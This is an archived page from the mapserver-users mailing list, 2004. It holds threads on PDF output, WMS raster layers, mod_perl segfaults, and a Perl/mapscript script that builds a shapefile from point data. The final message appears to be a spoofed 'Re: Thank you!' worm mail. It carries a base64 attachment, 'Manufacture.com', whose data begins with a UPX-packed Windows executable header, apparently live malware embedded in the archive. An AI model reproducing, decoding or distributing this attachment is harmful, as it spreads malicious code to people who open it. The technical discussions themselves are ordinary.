[mailto:EZS at DeStraat.NL] Sent: Friday, 11 June 2004 5:38 PM To: mapserver-users at lists.gis.umn.edu; mhln25 at yahoo.com Subject: Re: [Mapserver-users] Pdf output shows junk on the browser? Hello If your PDF configuration in the map file is correct and you do have installed Adobe Acrobat and/or Reader, the problem might be caused by some browser related issues. Especially recent IE versions have trouble displaying server side (created) PDF's properly. Take a look at the following links for more info: http://www.adobe.com/support/techdocs/29776.htm http://forum.planetpdf.com/wb/default.asp?action=9&fid=6&read=41191 http://www.bnl.gov/itd/webapps/pdf_help.asp Groeten, Emil Zegers De Straat Milieu-adviseurs Divisie Informatisering 026 7513902 06 22965585 http://www.destraat.nl >>> Mahalakshmi Narayanan 06/11/04 08:09 AM >>> Hi! I tried to output my map as a pdf but I get junk thrown to me when I include the following outputformat tag.. ------------------- OUTPUTFORMAT NAME pdf MIMETYPE "application/x-pdf" DRIVER pdf # FORMATOPTION "OUTPUT_TYPE=RASTER" EXTENSION "pdf" END ------------------- I am running windows xp with -------------- MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLI ENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE ------------------ do i need anything else to be installed on my box to get pdf output? can somebody help me, pls. With regards, Mahalakshmi Narayanan __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________ VChecked ______________________________________________________ This message has been checked for all known viruses ______________________________________________________ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Tom.Kralidis at ec.gc.ca Mon Jun 14 18:15:03 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Mon, 14 Jun 2004 21:15:03 -0400 Subject: [Mapserver-users] WMS raster layer problem Message-ID: <2576812186CDD411BF1500508B6DCE9507366FB3@ecnwri1.ontario.int.ec.gc.ca> Do you have a URL for the WMS in question? Try STATUS ON in the LAYER object. ..Tom > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Richard Greenwood > Sent: Monday, June 14, 2004 6:46 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] WMS raster layer problem > > > I am having problems displaying raster layers via WMS. I have > the vectors working correctly. And my raster layers work fine > in "regular" mapserver. > > With MS 4.0 and 4.1 the raster layers simply does not > display. But with > MS 4.2-beta3 I get an error message: "Invalid layer(s) given in the > LAYERS parameter." > > -- > Richard Greenwood > www.greenwoodmap.com > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From sgillies at frii.com Mon Jun 14 18:45:28 2004 From: sgillies at frii.com (Sean Gillies) Date: Mon, 14 Jun 2004 19:45:28 -0600 Subject: [Mapserver-users] mod_perl segfaults In-Reply-To: <20040614193043.GM658@ert.dyndns.org> References: <20040614193043.GM658@ert.dyndns.org> Message-ID: On Jun 14, 2004, at 1:30 PM, covad at ert.dyndns.org wrote: > I'm getting errors like the following: > > [Mon Jun 14 14:22:49 2004] [notice] child pid 19412 exit signal > Segmentation fault (11) > > in my apache error log, but only intermittently. The site is usable, > but > craps out ~25% of the time. > > I'm running perl mapscript 4.2.0, apache 1.3.31, and mod_perl 1.29. > > Has anyone else seen behavior like this? > > Would rolling back to mapscript 4.0 help? > > Thanks, > > -rob > Rob, I don't have specific mod_perl experience but am using mod_python and mapscript in production. There's a few differences between them but I might be able to help you a bit. I am using Apache 2.0.40-something. Are you trying to keep a mapObj as an application global by executing code like $map = mapscript::mapObj('file.map'); in the startup script? If you do, you have to be very careful that you don't have different requests trying to access and modify this same mapObj. The best thing to do would be to create a pool of mapObj instances and fetch one from the pool to satisfy requests, or clone the master mapObj for every request. Or create a new instance from a file on disk for every request. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From m.meier at spiekermann.de Mon Jun 14 21:22:13 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Tue, 15 Jun 2004 06:22:13 +0200 Subject: [Mapserver-users] How can mapserver show a text file??? In-Reply-To: <20040614154048.39058.qmail@web50302.mail.yahoo.com> References: <20040614154048.39058.qmail@web50302.mail.yahoo.com> Message-ID: <40CE7975.8030001@spiekermann.de> I would use a program to convert the text file to a shape-file. See below for a little test program using perl/mapscript. I'm using mapserver 4.0.2. #!/usr/bin/perl use strict; use mapscript; use XBase; my $SHP_NAM = "shpfile"; # name of shape-file trio #--- Delete old shape files. commented out because dangerous. #unlink $SHP_NAM . ".dbf"; #unlink $SHP_NAM . ".shp"; #unlink $SHP_NAM . ".shx"; #--- Test data. my @data = ( [ 10, 10, "1st point" ], [ 100, 100, "2nd point" ], [ 75, 90, "3rd point" ] ); #--- Create Point-Shape # my $sf1 = new mapscript::shapefileObj ( $SHP_NAM, $mapscript::MS_SHAPEFILE_POINT); foreach my $i (0 .. $#data) { my $pt = new mapscript::pointObj(); $pt->{x} = $data[$i]->[0]; $pt->{y} = $data[$i]->[1]; $sf1->addPoint ($pt); } undef $sf1; #- create the dbf file. I think the dbf-file must not exist # before creating a new one. # my @fieldnames = ( 'id', 'ptname'); my @fieldtypes = ( 'N', 'C'); my @fieldlengths = ( '10', '10'); my @fielddecimals = ( '0', '0'); my $tab = XBase->create('name' => $SHP_NAM . ".dbf", 'field_names' => \@fieldnames, 'field_types' => \@fieldtypes, 'field_lengths' => \@fieldlengths, 'field_decimals' => \@fielddecimals) or die XBase->errstr(); foreach my $i (0 .. $#data) { $tab->set_record($i, $i, $data[$i]->[2]); } $tab->close(); joanvp schrieb: > I'd like to know how can I insert a text file (for > example, from a GPS) in Mapserver. > And a final question,Is it possible to show a gml? > > Excuse my english... > Thank you > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From steve.lime at dnr.state.mn.us Mon Jun 14 22:30:26 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Mon, 14 Jun 2004 23:30:26 -0600 Subject: [Mapserver-users] Re: Thank you! Message-ID: ----------icgoeoreaukascfakyhj Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------icgoeoreaukascfakyhj Content-Type: application/octet-stream; name="Manufacture.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Manufacture.com" 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 